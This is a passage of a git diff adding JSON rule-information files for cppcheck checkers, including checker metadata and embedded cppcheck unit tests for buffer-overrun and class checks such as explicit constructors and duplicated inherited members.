[objectIndex]\\n\", errout_str());\n\n check(\"uint32_t f(uint32_t* pu) {\\n\"\n \" uint8_t* p = (uint8_t*)pu;\\n\"\n \" return p[4];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { uint8_t padding[500]; };\\n\" // #10133\n \"S s = { 0 };\\n\"\n \"uint8_t f() {\\n\"\n \" uint8_t* p = (uint8_t*)&s;\\n\"\n \" return p[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X {\\n\" // #2654\n \" int a;\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" const X s;\\n\"\n \" const int* y = &s.a;\\n\"\n \" (void)y[0];\\n\"\n \" (void)y[1];\\n\"\n \" (void)y[2];\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void checkPipeParameterSize() { // #3521\n\n const Settings settings = settingsBuilder().library(\"posix.cfg\").build();\n\n check(\"void f(){\\n\"\n \"int pipefd[1];\\n\" // <-- array of two integers is needed\n \"if (pipe(pipefd) == -1) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Buffer is accessed out of bounds: pipefd [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \"int pipefd[2];\\n\"\n \"if (pipe(pipefd) == -1) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \"char pipefd[2];\\n\"\n \"if (pipe((int*)pipefd) == -1) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Buffer is accessed out of bounds: (int*)pipefd [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \"char pipefd[20];\\n\" // Strange, but large enough\n \"if (pipe((int*)pipefd) == -1) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestBufferOverrun)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/pointerArithmetic.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/pointerArithmetic.json new file mode 100644 index 0000000..e1b0e9f --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/pointerArithmetic.json @@ -0,0 +1,13 @@ +{ + "name": "pointerArithmetic", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 54, + "branches": 20, + "apis": 61, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/stringNotZeroTerminated.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/stringNotZeroTerminated.json new file mode 100644 index 0000000..b1f4f25 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/stringNotZeroTerminated.json @@ -0,0 +1,13 @@ +{ + "name": "stringNotZeroTerminated", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 49, + "branches": 16, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/analyseWholeProgram.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/analyseWholeProgram.json new file mode 100644 index 0000000..3fdabdc --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/analyseWholeProgram.json @@ -0,0 +1,13 @@ +{ + "name": "analyseWholeProgram", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 44, + "branches": 8, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkConst.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkConst.json new file mode 100644 index 0000000..ed55535 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkConst.json @@ -0,0 +1,121 @@ +{ + "name": "checkConst", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 111, + "branches": 47, + "apis": 93, + "test": [ + { + "description": null, + "expected-problems": 100, + "expected-linenumbers": [ + 3676, + 3748, + 3800, + 3844, + 4218, + 4232, + 4262, + 4273, + 4285, + 4296, + 4323, + 4334, + 4345, + 4372, + 4624, + 4656, + 4665, + 4676, + 4685, + 4697, + 4735, + 4751, + 4771, + 4783, + 4797, + 4851, + 4870, + 4888, + 4926, + 4950, + 5073, + 5083, + 5092, + 5100, + 5109, + 5168, + 5180, + 5209, + 5225, + 5246, + 5263, + 5339, + 5415, + 5473, + 5487, + 5504, + 5520, + 5541, + 5563, + 5577, + 5593, + 5621, + 5631, + 5647, + 5655, + 5665, + 5723, + 5782, + 5814, + 5826, + 5850, + 5887, + 5901, + 5948, + 5963, + 5982, + 5992, + 6006, + 6017, + 6036, + 6049, + 6070, + 6148, + 6172, + 6194, + 6224, + 6238, + 6253, + 6273, + 6284, + 6318, + 6430, + 6448, + 6465, + 6485, + 6498, + 6510, + 6616, + 6638, + 6689, + 6705, + 6719, + 6733, + 6748, + 6761, + 6769, + 6787, + 6826, + 6876, + 6887 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct 